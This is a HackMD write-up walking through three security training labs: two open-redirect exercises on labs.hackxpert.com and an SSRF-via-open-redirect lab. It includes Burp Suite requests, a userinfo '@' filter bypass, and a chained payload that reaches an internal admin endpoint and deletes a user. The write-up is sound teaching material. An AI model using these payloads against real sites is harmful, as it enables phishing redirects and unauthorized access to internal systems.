Try   HackMD

Open Redirect Labs

Before doing the labs, please review the material found here.

Lab #1: 10

image

  1. Launch Burp Suite and open the browser (Proxy > Intercept > Open Browser).
  2. Test for open redirects by submitting a test payload, like so:

image

This will produce a Not Found error, but don't worry.

  1. In Burp Suite, under Target (Target > Site Map), click the url: https://labs.hackxpert.com. The HTTP requests and responses made by the request payload will appear, like so:

image

The response to the request GET /OPENREDIRECT/10.php?url=test is has a 302 Status Code, which is a redirection response. We can see the redirection path under the location: header, like so:

HTTP Request

GET /OPENREDIRECT/10.php?url=test HTTP/1.1
Host: labs.hackxpert.com
Cookie: _ga=<cookie-value>; _ga_8L64ZBYXXW=<cookie-value>
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
...

HTTP Response

HTTP/1.1 302 Found
Date: Tue, 18 Mar 2025 22:07:18 GMT
Server: Apache
Location: test
Content-Length: 3417
...

This redirect forces the browser to make another request, like so:

HTTP Request

GET /OPENREDIRECT/test HTTP/1.1
Host: labs.hackxpert.com
Cookie: _ga=<cookie-value>; _ga_8L64ZBYXXW=<cookie-value>
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
...

HTTP Response

HTTP/1.1 404 Not Found
Date: Tue, 18 Mar 2025 22:07:19 GMT
Server: Apache
Content-Length: 196
Keep-Alive: timeout=5, max=100
...

Since the endpoint https://labs.hackxpert.com/OPENREDIRECT/test does not exist, the server responded with a 404 error.

  1. In order to make the request to a valid third-party, add a scheme to the url, like so:

image

This should redirect to the login page at facebook.com. This results in the following request being made:

HTTP Request

GET /OPENREDIRECT/10.php?url=https%3A%2F%2Ffacebook.com HTTP/1.1
Host: labs.hackxpert.com
Cookie: _ga=<cookie-value>; _ga_8L64ZBYXXW=<cookie-value>
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
...

HTTP Response

HTTP/1.1 302 Found
Date: Tue, 18 Mar 2025 22:30:58 GMT
Server: Apache
Location: https://facebook.com
Content-Length: 3417
...

Notice that the url parameter is urlencoded. Also, notice that the location: header in the response is now in plaintext and points to https://facebook.com. This will result in the following request/response pair:

HTTP Request

GET /?m457ctka8=1 HTTP/1.1
Host: www.facebook.com
Cookie: datr=<cookie-value>; sb=<cookie-value>; dpr=<cookie-value>; wd=<cookie-value>; fr=<cookie-value>
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
...

HTTP Repsonse

HTTP/2 200 OK
Vary: Accept-Encoding
Set-Cookie: fr=<cookie-value>; expires=M<cookie-value>; Max-Age=<cookie-value>; path=<cookie-value>; domain=.facebook.com; secure; httponly; 
...

Notice that the Host: header in the request is now to www.facebook.com insted of labs.hackxpert.com.

Conclusion

The payload of an open-redirect attack can end up in the location header of a redirection response. Adding a scheme to your payload will change the host server where the request is being made to.

Lab #2: 20

  1. Launch Burp Suite and open the browser (Proxy > Intercept > Open Browser)
  2. Test for open redirects by submitting a test payload, like so:

image

The resulting webpage has an error message:

image

With this, we know that the server is filtering for urls that do not contain labs.hackxpert.com.

  1. To circumvent the filtration, write a payload containing labs.hackxpert.com, like labs.hackxpert.com@facebook.com:

image

Submit the payload. This redirects your to www.facebook.com. The request/response pair should look like this:

HTTP Request

GET /OPENREDIRECT/20.php?url=labs.hackxpert.com%40facebook.com HTTP/1.1
Host: labs.hackxpert.com
Cookie: _ga=<cookie-value>; _ga_8L64ZBYXXW=<cookie-value>
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"

HTTP Response

HTTP/1.1 302 Found
Date: Tue, 18 Mar 2025 22:51:25 GMT
Server: Apache
Location: https://labs.hackxpert.com@facebook.com
Content-Length: 3385

The browser interprets the given Location: header value points to facebook.com, which caused the redirection.

Conclusion

Just because there is filtration, doesn't mean it is flawless. If the rules of the filtration system can be determined, there is a possibility that they can then be broken.

Lab #3: SSRF with filter bypass via open redirection vulnerability

image

  1. Launch Burp Suite and open the broswer (Proxy > Intercept > Open Broswer).
  2. Navigate to the lab url and launch the environment. This will produce a page like this:

image

  1. The description states that "[The] lab has a stock check feature which fetches data from an internal system". The goal is to make a request to the /admin endpoint on an internal server (which cannot be access directly from the internet) then make a request to delete a user, carlos. A vulnerability that allows an attacker to cause server-side systems to make unintended requests is called a Server-Side Request Forgery (SSRF).
  2. To determine how the stock check feature works, click View details under any item listing, then scroll down and click Check stock. Then, in Burp Suite, display the HTTP request/response pairs (Proxy > Target > https://<lab-id-number>.web-security-academy.net).
  3. Look for a POST request made to /product/stock:

HTTP Request

POST /product/stock HTTP/2
Host: <lab-id-number>.web-security-academy.net
Cookie: session=<cookie-value>
jContent-Length: 65
Sec-Ch-Ua-Platform: "macOS"
...
stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

HTTP Response

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
Set-Cookie: session=<cookie-value>; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 3

275

Observe that the content of the HTTP response is later displayed in the webpage. Also, note that the POST parameter stockAPI has a value that is url encoded. Decoding that value reveals it's meaning:

image

Click here and paste in the encoded url.

The decoded url shows that the request is being made to the server at /product/stock/check?productld=1&storeld=1.

  1. The description states that "The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.", so the next step is to find an open-redirect on the webpage, so that the url http://192.168.0.12:8080/admin can be requested server-side.
  • Looking at the product listing page, you should see an option to get the next product:

image

  • Right click on the link and copy the URL. Paste it into the browser search bar to inspect it. Observe the redirect parameter path:
https://0a1a00080325491083948d9a005600d3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
  1. Test the redirect parameter to determine if it is an open redirect:
https://0a1a00080325491083948d9a005600d3.web-security-academy.net/product/nextProduct?currentProductId=1&path=facebook.com

image

  • Simply putting the domain, facebook.com tries to redirect to localpath facebook.com, which doesn't exist. Add a scheme to force the browser to resolve the address on a different host:

image

  • This should redirect to facebook, indicating an open redirect vulnerability exists.
  1. Copy this vulnerable path to the Stock API request, like so:
/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin

image

  • Make sure to URL-encode the key characters (i.e. :, &, and =). This should result in the following response:

image

  • Observe that the response includes the admin portal for the application. Scroll down to get the URL to delete user carlos:
http://192.168.0.12:8080/admin/delete?username=carlos
  • Use this URL as the path for the open redirect path, like so:
/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin/delete?username=carlos

image

  • Make sure to URL-encode the key characters (i.e. :, &, and =). This should result in the following response:

image

  • Observe that the user was successfully deleted. The loaded webpage should look like so:

image

Last changed by 
 
Jaden Andrews
Jaden Andrews is the Red Team Lead at the Center of Excellence in Cybersecurity Research, Education, and Outreach (CREO) in Greensboro, North Carolina.
0
17
Published on HackMD